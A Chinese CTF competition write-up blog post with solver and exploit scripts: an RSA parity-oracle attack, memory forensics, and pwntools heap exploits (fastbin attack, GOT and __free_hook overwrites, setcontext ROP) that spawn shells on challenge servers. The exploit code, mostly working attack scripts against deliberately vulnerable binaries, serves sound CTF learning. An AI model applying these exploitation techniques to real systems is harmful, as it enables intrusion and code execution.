Ctf
10 Mar 2020

高校战疫

高校战疫

这份wp的exp和V&N发的⑧一样,发的替换了部分粗鄙之语

那⑧符合👴的exp风格

lancet

加密没什么用,解密返回的结果是明文的奇偶

RSA Parity Oracle Attack

👴刚开始sendline以为长度⑧能大于100,👴是龙鸣

from pwn import *
from base64 import b64encode as enc
from Crypto.Util.number import *
import decimal
  
def oracle(c):
    fuck = enc(long_to_bytes(c))
    l = len(fuck)
    r.recvuntil('want here')
    r.sendline('2')
    r.recvuntil('send how long you want to decrypt')
    r.send(str(l))
    r.recvuntil('send the message in base64 encode')
    r.send(fuck)
    res = r.recvline()
    res = r.recvline()
    log.info(res)
    if 'res:1' in res:
        return 1
    elif 'res:0' in res:
        return 0
      
def partial(n,e,c):
    global c_of_2
    k = n.bit_length()
    decimal.getcontext().prec = k
    lower = decimal.Decimal(0)
    upper = decimal.Decimal(n)
    c_of_2 = pow(2, e, n)
    c = (c * c_of_2) % n
    for i in range(k):
        possible_plaintext = (lower + upper) / 2
        flag = oracle(c)
        if not flag:
            upper = possible_plaintext
        else:
            lower = possible_plaintext
        c = (c * c_of_2) % n
        print i, flag, int(upper - lower)
    return int(upper)

r = remote('121.37.174.33',9999)
r.recvuntil('n:')
n = r.recvuntil('\ne:',drop=True)
n = int(n)
r.recvuntil('flag:')
c = r.recvuntil('\nyou',drop=True)
c = int(c)
log.success(hex(n))
log.success(hex(c))
e = 65537

print(partial(n,e,c))

简单MISC

zip 摩斯 base64

武汉加油

改后缀解压出flag.exe

vmp脱壳

输入

‘武汉加油!

出flag

ez_mem&usb

cmdscan拿密码

volatility -f data.vmem cmdscan

filescan拿flag.img

volatility -f data.vmem filescan | grep flag

挂载好像有丶问题,所以👴选择foremost从flag.img搞出来zip,解压得到usbdata.txt

mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
    if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
         continue
    nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
    if n == 0 :
        continue
    if n in mappings:
        output += mappings[n]
    #else:
     #   output += '[unknown]'
print 'output :\n' + output

easyheap

执行add是添加message头和message,message头指针写入0x6020C0,message指针写入message头的fd

检查size是否合法是在申请message头并把指针写入0x6020C0之后,如果size不合法就不会继续申请message也就不会把message指针写入message头的fd

先free几个使fd上有堆指针,然后申请不合法size,message头会申请过去,fd的堆指针仍然存在

此时edit可以向fd指向的位置写入数据,利用这个可以改写其他message头的message指针,实现任意地址写

将got表地址写入,把puts_plt写入free_got,然后利用free泄露libc地址,然后将system写入free_got,执行free(“/bin/sh”),getshell

free次数有限制,可以利用任意地址写把计数器0x6020AC清零

from pwn import *
#r = process('./easyheap')
r = remote('121.36.209.145',9997)
#context.log_level = 'debug'
elf = ELF('./easyheap')
libc = ELF('./libc.so.6')
def add(size,data):
	r.recvuntil('Your choice:')
	r.sendline('1')
	r.recvuntil('message?')
	r.sendline(str(size))
	r.recvuntil('message?')
	r.send(data)

def fuck_add():
	r.recvuntil('Your choice:')
	r.sendline('1')
	r.recvuntil('message?')
	r.sendline('23333333')

def free(index):
	r.recvuntil('Your choice:')
	r.sendline('2')
	r.recvuntil('deleted?')

	r.sendline(str(index))
def edit(index,data):
	r.recvuntil('Your choice:')
	r.sendline('3')
	r.recvuntil('modified?')
	r.sendline(str(index))
	r.recvuntil('message?')
	r.send(data)


#x/64gx 0x6020C0
add(0x60,'fuck')
add(0x60,'fuck')
add(0x60,'fuck')
free(0)
free(1)
free(2)
fuck_add()
fuck_add()
fuck_add()
edit(1,p64(0)+p64(0x21)+p64(elf.got['free']))
edit(2,p64(elf.plt['puts']))
log.success(hex(elf.got['free']))
log.success(hex(elf.plt['puts']))
edit(1,p64(0)+p64(0x21)+p64(elf.got['puts']))
free(2)
r.recvline()
leak = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = leak-libc.sym['puts']
system = libc_base+libc.sym['system']
log.success(hex(libc_base))
edit(0,p64(0)+p64(0x21)+p64(0x6020a8))
edit(1,p64(0)*2)
edit(0,p64(0)+p64(0x21)+p64(elf.got['free']))
log.success(hex(elf.got['free']))
log.success(hex(system))
edit(1,p64(system))
add(0x40,'/bin/sh\x00')
free(2)
r.interactive()

woodenbox

edit时没有验证size,存在堆溢出

先申请四个chunk A B C D,edit A,利用堆溢出把B的size改成B和C的size和(size和在unsorted bin范围),free B,B进unsorted bin,再free C,C进fastbin。再申请一个与B原来size相同的chunk,切割unsorted bin,将一个libc地址写入C的fd

利用edit改C fd两字节(十六分之一),改到_IO_2_1_stderr_+157,这里有0x7f,可以fastbin attack

申请过去后劫持stdout,泄露libc地址

继续fastbin attack,打malloc_hook但是one_gadget不好使

改写main_arena+88的topchunk指针

在main_arena+24的伪造size,然后把main_arena+16写入main_arena+48 0x70 fastbin数组,下一次申请就更接近top chunk

也可以直接利用堆溢出改top chunk

把top chunk改为free_hook-0xb58,这里有足够大的top chunk size,接下来的申请就会申请过去,申请到接近free_hook后利用edit的堆溢出把system写入free_hook,getshll

from pwn import *
r = remote('121.36.215.224',9998)
#r = process('./woodenbox2')
elf = ELF('./woodenbox2')
libc = ELF('./libc6_2.23-0ubuntu11_amd64.so')

def debug():
	print(r.pid)
	pause()

def add(size,name):
	r.recvuntil('choice:')
	r.sendline('1')
	r.recvuntil('length of item name:')
	r.sendline(str(size))
	r.recvuntil('name of item:')
	r.send(name)

def edit(index,size,name):
	r.recvuntil('choice:')
	r.sendline('2')
	r.recvuntil('index of item:')
	r.sendline(str(index))
	r.recvuntil('length of item name:')
	r.sendline(str(size))
	r.recvuntil('new name of the item:')
	r.send(name)

def free(index):
	r.recvuntil('choice:')
	r.sendline('3')
	r.recvuntil('index of item:')
	r.sendline(str(index))
#mybase = 0x7fffff030000
#log.info(hex(libc.sym['_IO_2_1_stdout_']+mybase))
add(0x20,'fuck')#0
add(0x40,'fuck')#1
add(0x60,'fuck')#2
add(0xa0,'fuck')#3

edit(0,0x1000,'a'*0x20+p64(0)+p64(0xc1))
free(1)
free(1)
add(0x40,'fuck')
#'\xed\x4a'
edit(0,0x1000,'a'*0x40+p64(0)+p64(0x71)+'\xdd\x55')
#0x7fffff3f55dd <_IO_2_1_stderr_+157>:   0xffff3f4660000000      0x000000000000007f -0x50-3
add(0x60,'fuck')
add(0x60,'stdout')
edit(3,0x1000,'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')
r.recv(0x40)
libc_base = u64(r.recv(8))-(0x7f35bc64a600-0x7f35bc285000)
log.success(hex(libc_base))
malloc_hook = libc_base+libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
one = libc_base+0xf1147
log.success(hex(malloc_hook))
add(0x60,'wdnmd')#4
add(0x60,'wdnmd')#5

free(5)
realloc= libc_base + libc.sym['realloc']
edit(1,0x1000,0xa0*'b'+p64(0)*14+p64(0)+p64(0x71)+p64(malloc_hook-0x13))
add(0x60,'wdnmd')
add(0x68,'a'*0x3+p64(0)+p64(0)*4+p64(0x7f)+p64(0)*2+p64(malloc_hook+0x20)+p64(0)*3)
add(0x68,p64(0)*7+p64(free_hook-0xb58))
log.success(hex(free_hook-0xb58))
log.success(hex(free_hook))
add(0x350,'/bin/sh\x00')
add(0x350,'/bin/sh\x00')
add(0x350,'/bin/sh\x00')
free(4)
add(0x350,'/bin/sh\x00')
system = libc_base+libc.sym['system']
edit(8,0x1000,'\x00'*0x488+p64(system))
#x/10gx 0x2020A8+0x8000000
r.interactive()

lgd

程序加了混淆,有沙箱

edit存在堆溢出

申请的时候输入的东西是写到0x603060在heap_store 0x6032E0上方,可以伪造一个fastbin attack的size

堆溢出改fd,fastbin attack打到heap_store上方,heap_store上方存有heap size,顺手把size也改大

向heap_store写入free_got,show泄露libc

再次向heap_store写入free_hook,把setcontext+53写入free_hook,利用setcontext+53把栈劫持到堆上,在堆上构造rop链,orw拿flag

from pwn import *
r = remote('121.36.209.145',9998)
#r = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')


def add(size,fuck):
	r.recvuntil('>>')
	r.sendline('1')
	r.recvuntil('______?')
	r.sendline(str(size))
	r.recvuntil('or_no?')
	r.sendline(fuck)

def free(index):
	r.recvuntil('>>')
	r.sendline('2')
	r.recvuntil('index ?')
	r.sendline(str(index))

def show(index):
	r.recvuntil('>>')
	r.sendline('3')
	r.recvuntil('index ?')
	r.sendline(str(index))

def edit(index,data):
	r.recvuntil('>>')
	r.sendline('4')
	r.recvuntil('index ?')
	r.sendline(str(index))
	r.recvuntil('new_content ?')
	r.send(data)


heap_store = 0x6032E0
size_store = 0x603260
r.sendline('wdnmd')

fuck = 'a'*0x1f0+p64(0)+p64(0x81)
add(0x70,fuck)
add(0x70,fuck)
add(0x70,fuck)
free(1)

edit(0,'a'*0x70+p64(0)+p64(0x81)+p64(0x603250))

add(0x70,fuck)
add(0x70,fuck)
free_got = elf.got['free']
puts_plt = elf.plt['puts']
edit(3,p64(0x0000020000000200)*16+p64(free_got))
show(0)
r.recvline()
leak = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = leak-libc.sym['free']
log.success(hex(libc_base))
leave_ret = libc_base+0x42351
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
log.success(hex(free_hook))

add(0x20,fuck)
add(0x20,fuck)
add(0x20,fuck)
add(0x40,fuck)
free(4)
free(5)
edit(3,p64(0x0000020000000200)*16+p64(free_hook)+p64(0)*5+'\xc0')

show(6)
r.recvline()
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
heap_base = leak-0x180
log.success(hex(heap_base))
setcontext = libc_base+libc.sym['setcontext']
log.success(hex(setcontext))

edit(0,p64(setcontext+53))
pop_rdi_ret = libc_base+0x21102
pop_rsi_ret = libc_base+0x202e8
pop_rdx_ret = libc_base+0x1b92

open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
write_addr = libc_base+libc.sym['write']
bss = elf.bss()
main = 0x402246
menu = 0x4020A5
log.success(hex(bss))
payload = p64(0)*5+p64(0xffffffff)+p64(0)#r8 r9
payload += p64(0)*13
payload += p64(heap_base+0x2c0)#mov rsp,[rdi+0xa0]
payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(8)+p64(read_addr)
payload += p64(pop_rdi_ret)+p64(bss)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
payload += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(0x40)+p64(read_addr)
payload += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(0x40)+p64(write_addr)
edit(7,payload)
log.success(hex(pop_rdi_ret))
pause()
free(7)
sleep(0.5)
r.sendline('flag\x00')
r.interactive()

bjut

盲pwn,但是用存题黑科技把题目文件给拽下来了

show和edit都能输入复数,可以打到JMPREL Relocation Table

show泄露libc,edit改system

from pwn import *
r = remote('121.37.167.199',9997)
libc = ELF('./libc.so.6')
def add(size,data):
	r.recvuntil('>')
	r.sendline('1')
	r.recvuntil('hw:')
	r.sendline(str(size))
	r.recvuntil('hw:')
	r.sendline(data)

def show(index):
	r.recvuntil('>')
	r.sendline('4')
	r.recvuntil('hw:')
	r.sendline(str(index))


def edit(index,data):
	r.recvuntil('>')
	r.sendline('2')
	r.recvuntil('hw:')
	r.sendline(str(index))
	r.recvuntil('hw:')
	r.send(data)

add(0x20,'/bin/sh\x00')
show(-1879)
leak = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success(hex(leak))

libc_base = leak-libc.sym['putchar']
system = libc_base+libc.sym['system']
log.success(hex(system))
log.success(hex(libc_base))

edit(-1879,p64(system)*5)
sleep(0.5)
r.sendline('5')
r.interactive()

musl

musl libc,heap在libc中,free chunk是双向链表,申请的size小于已有的freechunk时会切割freechunk

0x602040储存heap_store地址

add时有一次堆溢出的机会,改size然后free造成overlapping

free时检查了in_use和下一个chunk的prev_size,提前伪造好prev_size

overlapping后再取出来,可以uaf,free chunk的链表头部在libc,uaf之后show泄露libc地址,然后edit把fd和bk改为0x602030,利用双向链表写fd bk的操作把一个堆地址写入0x602040,将heap_store劫持到堆上,实现任意地址读写

show和edit的次数有限制,但是可以通过任意地址读写覆盖计数器

got plt都不可写,没有hook

可以通过任意地址读写改写栈,getshell

利用任意地址读,读libc中的environ泄露栈地址,算出栈顶地址,然后利用任意地址写覆盖返回地址

栈顶到返回地址的偏移需要计算,可以从栈顶写入多个打印菜单的函数地址,数出打印菜单次数计算

from pwn import *
r = remote('119.3.158.103',19008)
#r = process(['./libc.so','carbon'])

libc = ELF('./libc.so')


def add(size,data):
	r.recvuntil('>')
	r.sendline('1')
	r.recvuntil('What is your prefer size? >')
	r.sendline(str(size))
	r.recvuntil('Are you a believer? >')
	r.sendline('wdnmd')
	r.recvuntil('Say hello to your new sleeve >')
	r.sendline(data)

def fuck_add(size,data):
	r.recvuntil('>')
	r.sendline('1')
	r.recvuntil('What is your prefer size? >')
	r.sendline(str(size))
	r.recvuntil('Are you a believer? >')
	r.sendline('Y\x00')
	r.recvuntil('Say hello to your new sleeve >')
	r.sendline(data)

def free(index):
	r.recvuntil('>')
	r.sendline('2')
	r.recvuntil('What is your sleeve ID? >')
	r.sendline(str(index))

def edit(index,data):
	r.recvuntil('>')
	r.sendline('3')
	r.recvuntil('What is your sleeve ID? >')
	r.sendline(str(index))
	sleep(0.5)
	r.sendline(data)

def show(index):
	r.recvuntil('>')
	r.sendline('4')
	r.recvuntil('What is your sleeve ID? >')
	r.sendline(str(index))

fuck_addr = 0x602030
#add-symbol-file libc.so 0x8000000
#x/64gx 0x82953b0
#x/20gx 0x00007fffff7e0000
add(0x10,'fuck')#0

add(0x30,'fuck')#1
add(0x50,p64(0)*6+p64(0x81)+p64(0xa1))#2

add(0x40,'fuck')#3
add(0x20,'fuck')#4
add(0x20,p64(0x40)+p64(fuck_addr))#5


free(0)


fuck_add(0x10,'a'*0x10+p64(0x21)+p64(0x81))#0
free(1)
add(0x30,'fuck')#1

add(0x30,'fuck')#2 6

free(2)
show(6)
leak = u64(r.recvuntil('Done.',drop=True).ljust(8,'\x00'))
libc_base = leak-0x292ad8
log.success(hex(libc_base))
system = libc_base+libc.sym['system']

edit(6,p64(fuck_addr)*2)
free(4)

add(0x30,p64(fuck_addr))#nmsl


fuck = libc_base+0x294FD8
log.success(hex(fuck))



add(0x60,p64(0x71)+p64(fuck)+p64(0x71)+p64(libc_base+0x8295570-0x8000000))# fuck 9 

edit(5,p64(0))

show(9)
leak = u64(r.recvuntil('Done.',drop=True).ljust(8,'\x00'))
stack_rsp = leak-0x118
log.success(hex(stack_rsp))

#fuck_stack = 0x7ffffffee638
#print(hex(fuck_stack-stack_rsp))
fuck_stack = 0xa0+stack_rsp

binsh = libc.search('/bin/sh\x00').next()+libc_base
edit(10,p64(0x71)+p64(fuck_stack)+'/bin/sh'.ljust(8,'\x00')+p64(0)+p64(0x41)+p64(binsh))
edit(5,p64(0))
#show(12) test libc_addr

pause()

menu = 0x400c2f

flag = libc_base+0x8295580-0x8000000
pop_rdi_ret = libc_base+0x14862
pop_rsi_ret = libc_base+0x1c237
pop_rdx_ret = libc_base+0x1b92

puts_addr = libc_base+libc.sym['puts']
#edit(10,p64(menu)*2)
edit(10,p64(menu)+p64(pop_rdi_ret)+p64(flag)+p64(system)+p64(menu))
r.interactive()

fxck!

下俩断点感觉有丶像替换了编🐎表的base64

仔细一看是base58,👴可能是个盲人

那就直接打⑧


#break *(0x400c3a+0x27b)
#x/10gs 0x602500
#break *(0x400a56+0x1cd) 
#x/10gs 604AC0
import base64
fake_table = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"

base58_table = 'ABCDEFGHJKLMNPQRSTUVWXYZ123456789abcdefghijkmnopqrstuvwxyz'
flag = '4VyhuTqRfYFnQ85Bcw5XcDr3ScNBjf5CzwUdWKVM7SSVqBrkvYGt7SSUJe'
fuck = ''
for i in flag:
	fuck += fake_table[base58_table.index(i)]
  
print(fuck)

easyparser

vm硬跟

指令大概是这样

code = [0x0,0x0,0x12,0x1,0x1,0x12,0x2,0x2,0x12,0x3,0x3,0x12,0x6,0x6,0x12,0x7,0x7,0x12,0x0,0x69,0x1,0x1,0x6E,0x1,0x2,0x70,0x1,0x3,0x75,0x1,0x6,0x74,0x1,0x7,0x20,0x1,0x0,0x0,0x18,0x1,0x0,0x18,0x2,0x0,0x18,0x3,0x0,0x18,0x6,0x0,0x18,0x7,0x0,0x18,0x0,0x66,0x1,0x1,0x6C,0x1,0x2,0x61,0x1,0x3,0x67,0x1,0x6,0x3A,0x1,0x7,0x20,0x1,0x0,0x0,0x18,0x1,0x0,0x18,0x2,0x0,0x18,0x3,0x0,0x18,0x6,0x0,0x18,0x7,0x0,0x18,0x1,0x1,0x12,0x0,0x0,0x17,0x0,0x0,0x5,0x1,0x1,0x7,0x1,0x26,0x1A,0x1F,0x0,0x1E,0x0,0x0,0x19,0x0,0x0,0x6,0x0,0x7D,0x1A,0x12,0x0,0x1C,0x0,0x62,0x1,0x1,0x79,0x1,0x2,0x65,0x1,0x3,0x7E,0x1,0x6,0x7E,0x1,0x7,0x7E,0x1,0x0,0x0,0x18,0x1,0x0,0x18,0x2,0x0,0x18,0x3,0x0,0x18,0x6,0x0,0x18,0x7,0x0,0x18,0x0,0x0A,0x1,0x0,0x0,0x18,0x0,0x0,0x19,0x8,0x100,0x1,0x8,0x0E1,0x1A,0x19,0x0,0x1E,0x0,0x0,0x6,0x8,0x0,0x4,0x8,0x1,0x9,0x13,0x0,0x1D,0x0,0x0,0x6,0x0,0x7B,0x1A,0x3,0x0,0x1F,0x0,0x0,0x6,0x0,0x67,0x1A,0x3,0x0,0x1F,0x0,0x0,0x6,0x0,0x61,0x1A,0x3,0x0,0x1F,0x0,0x0,0x6,0x0,0x6C,0x1A,0x3,0x0,0x1F,0x0,0x0,0x6,0x0,0x66,0x1A,0x3,0x0,0x1F,0x9,0x9,0x12,0x0A,0x0E1,0x1,0x7,0x9,0x3,0x6,0x0A,0x3,0x6,0x63,0x11,0x6,0x2,0x0D,0x6,0x7,0x1B,0x3,0x0,0x1F,0x9,0x1,0x7,0x0A,0x1,0x7,0x9,0x20,0x1A,0x2A,0x0,0x1E,0x0,0x63,0x1,0x1,0x6F,0x1,0x2,0x72,0x1,0x3,0x72,0x1,0x6,0x65,0x1,0x7,0x63,0x1,0x0,0x0,0x18,0x1,0x0,0x18,0x2,0x0,0x18,0x3,0x0,0x18,0x6,0x0,0x18,0x7,0x0,0x18,0x0,0x74,0x1,0x1,0x6C,0x1,0x2,0x79,0x1,0x3,0x21,0x1,0x6,0x0A,0x1,0x0,0x0,0x18,0x1,0x0,0x18,0x2,0x0,0x18,0x3,0x0,0x18,0x6,0x0,0x18,0x0,0x0,0x19]
r = [0]*1000
data = [0x90,0x14c,0x1c,0xf0,0x84,0x3c,0x18,0x40,0x40,0xf0,0xd0,0x58,0x2c,0x08,0x34,0xf0,0x114,0xf0,0x80,0x2c,0x28,0x34,0x08,0xf0,0x90,0x44,0x30,0x50,0x5c,0x2c,0x108,0xf0]
#data += [0]*0x100


stack = 0
eq = 0
ls = 0
i = 0
index = 0
#flag[i] r[6]
#data[i] r[7]


while 0:
	#print(i)
	op = code[i*3+2]
	n1 = code[i*3]
	n2 = code[i*3+1]
	#print(hex(n1)+' '+hex(n2)+' '+hex(op))
	i+=1


	if op == 0x12:
		r[n1] = 0
		continue
	if op == 0x1:
		r[n1] = n2
		continue
	if op == 0x18:
		print('output')
		continue
	if op == 0x17:
		print('input')
		r[1] = 0x26
		continue
	if op == 0x5:
		stack = r[n1]
		continue


	if op == 0x6:
		r[n1] = stack
		stack = 0
		continue


	if op == 0x7:
		r[n1] = r[n1]+n2 
		continue
	if op == 0x1a:


		eq = r[n1]==n2
		ls = r[n1]<n2
		continue
	if op == 0x1b:
		print(i)
		eq = r[n1]==r[n2]
		ls = r[n1]<r[n2]
		print(ls)
		continue
	if op == 0x1c:
		if eq:
			print('jmpeq')
			i = n1
			eq = 0
		continue
	if op == 0x1e:
		print(ls)
		if ls:
			print('jmpls')
			i = n1
			ls = 0
		continue


	if op == 0x19:
		continue


	if op == 0x4:
		data[r[n1]] = r[n2]
		continue
	if op == 0x3:
		regs[p1]=data[regs[p2]]
		continue
	if op == 0x9:
		r[n1]-=n2
		continue
	if op == 0x1d:
		i = n1
		continue
	if op == 0x1F:
		eq = 1
		if not eq:
			i = n1
		continue
	if op == 0x11:
		r[n1]^=n2
		continue
	if op == 0xd:
		r[n1] = (r[n1]<<(n2&0x3f))
		continue
	else:
		break

密文在0x6C09B8

pwndbg> x/64gx 0x6C09B8
0x6c09b8:       0x0000000000000090      0x000000000000014c
0x6c09c8:       0x000000000000001c      0x00000000000000f0
0x6c09d8:       0x0000000000000084      0x000000000000003c
0x6c09e8:       0x0000000000000018      0x0000000000000040
0x6c09f8:       0x0000000000000040      0x00000000000000f0
0x6c0a08:       0x00000000000000d0      0x0000000000000058
0x6c0a18:       0x000000000000002c      0x0000000000000008
0x6c0a28:       0x0000000000000034      0x00000000000000f0
0x6c0a38:       0x0000000000000114      0x00000000000000f0
0x6c0a48:       0x0000000000000080      0x000000000000002c
0x6c0a58:       0x0000000000000028      0x0000000000000034
0x6c0a68:       0x0000000000000008      0x00000000000000f0
0x6c0a78:       0x0000000000000090      0x0000000000000044
0x6c0a88:       0x0000000000000030      0x0000000000000050
0x6c0a98:       0x000000000000005c      0x000000000000002c
0x6c0aa8:       0x0000000000000108      0x00000000000000f0

动态调试发现输入的flag逐字节比较,放在r[6],密文放在r[7]

对r[6]异或再位移后和r[7]比较

data = [0x90,0x14c,0x1c,0xf0,0x84,0x3c,0x18,0x40,0x40,0xf0,0xd0,0x58,0x2c,0x08,0x34,0xf0,0x114,0xf0,0x80,0x2c,0x28,0x34,0x08,0xf0,0x90,0x44,0x30,0x50,0x5c,0x2c,0x108,0xf0]
flag = ''
for i in range(len(data)):
	flag += chr((data[i]>>2)^0x63)
print(flag)
#G0d_Bless_Wuhan_&_China_Growth!_

kernel pwn

👴傻了

两题全是非预期 strings完事了

有一题重新上了一遍,还是非预期

two chunk

写到tcache stashing unlink那篇🌶


Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).